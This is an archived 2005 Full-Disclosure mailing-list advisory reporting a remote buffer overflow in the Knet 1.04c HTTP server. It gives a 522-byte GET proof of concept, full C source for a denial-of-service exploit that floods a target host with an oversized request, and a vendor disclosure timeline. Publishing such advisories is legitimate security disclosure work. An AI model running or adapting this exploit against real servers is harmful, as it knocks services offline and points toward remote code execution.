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[Full-Disclosure] Knet <= 1.04c Buffer Overflow Bug
- To: "fulldiclouse" <full-disclosure@xxxxxxxxxxxxxxxx>
- Subject: [Full-Disclosure] Knet <= 1.04c Buffer Overflow Bug
- From: "CorryL" <corryl@xxxxxxxxxxxxx>
- Date: 2005年2月25日 23:38:25 +0100
-=[--------------------ADVISORY-------------------]=-
-=[
]=-
-=[ Knet <= 1.04c ]=-
-=[
]=-
-=[ Author: CorryL [corryl80@xxxxxxxxx] ]=-
-=[ x0n3-h4ck.org ]=-
-=[----------------------------------------------------]=-
-=[+] Application: Knet
-=[+] Version: 1.04c
-=[+] Vendor's URL: www.stormystudios.com
-=[+] Platform: Windows
-=[+] Bug type: Buffer overflow
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ CorryL[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org
..::[ Descriprion ]::..
Knet is an small http server,easy installation and use.
..::[ Bug ]::..
This software is affected a Buffer Overflow.
A malitious attacker sending the request GET AAAAAA..... to 522,
this cause the overwrite of the eip registry,causing the execution of
malicious code.
..::[ Proof Of Concept ]::..
GET AAAAAAAAAAAAAAAAAAAAAAAAAA......... to 522 byte long
..::[ Exploit ]::..
/*
KNet <= 1.04c is affected to a remote buffer overflow in GET command.
This PoC demostrate the vulnerability.
KNet <= 1.04c PoC Denial Of Service Coded by: Expanders
Usage: ./x0n3-h4ck_Knet-DoS.c <Host> <Port>
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void help(char *program_name);
int main(int argc, char *argv[]) {
struct sockaddr_in trg;
struct hostent *he;
long addr;
int sockfd, buff,rc;
char evilbuf[1024];
char buffer[1024];
char *request;
if(argc < 3 ) {
help(argv[0]);
exit(0);
}
printf("\n\n-=[ KNet <= 1.04c PoC DoS ::: Coded by Expanders ]=-\n");
he = gethostbyname(argv[1]);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
request = (char *) malloc(12344);
trg.sin_family = AF_INET;
trg.sin_port = htons(atoi(argv[2]));
trg.sin_addr = *((struct in_addr *) he->h_addr);
memset(&(trg.sin_zero), '0円', 8);
printf("\n\nConnecting to target \t...");
rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in));
if(rc==0)
{
printf("[Done]\nBuilding evil buffer\t...");
memset(evilbuf,90,1023);
printf("[Done]\nSending evil request \t...");
sprintf(request,"GET %s \n\r\n\r",evilbuf);
send(sockfd,request,strlen(request),0);
printf("[Done]\n\n[Finished] Check the server now\n");
}
else
printf("[Fail] -> Unable to connect\n\n");
close(sockfd);
return 0;
}
void help(char *program_name) {
printf("\n\t-=[ KNet <= 1.04b PoC Denial Of Service ]=-\n");
printf("\t-=[ ]=-\n");
printf("\t-=[ Coded by
ders -/www.x0n3-h4ck.org\\- ]=-\n\n");
printf("Usage: %s <Host> <Port>\n",program_name);
}
..::[ Workaround ]::..
Waiting for an official patch
..::[ Disclousure Timeline ]::..
[17/02/2005] - Vendor notification
[17/02/2005] - Vendor Response
[25/02/2005] - No patch relase from vendor
[25/02/2005] - Public disclousure
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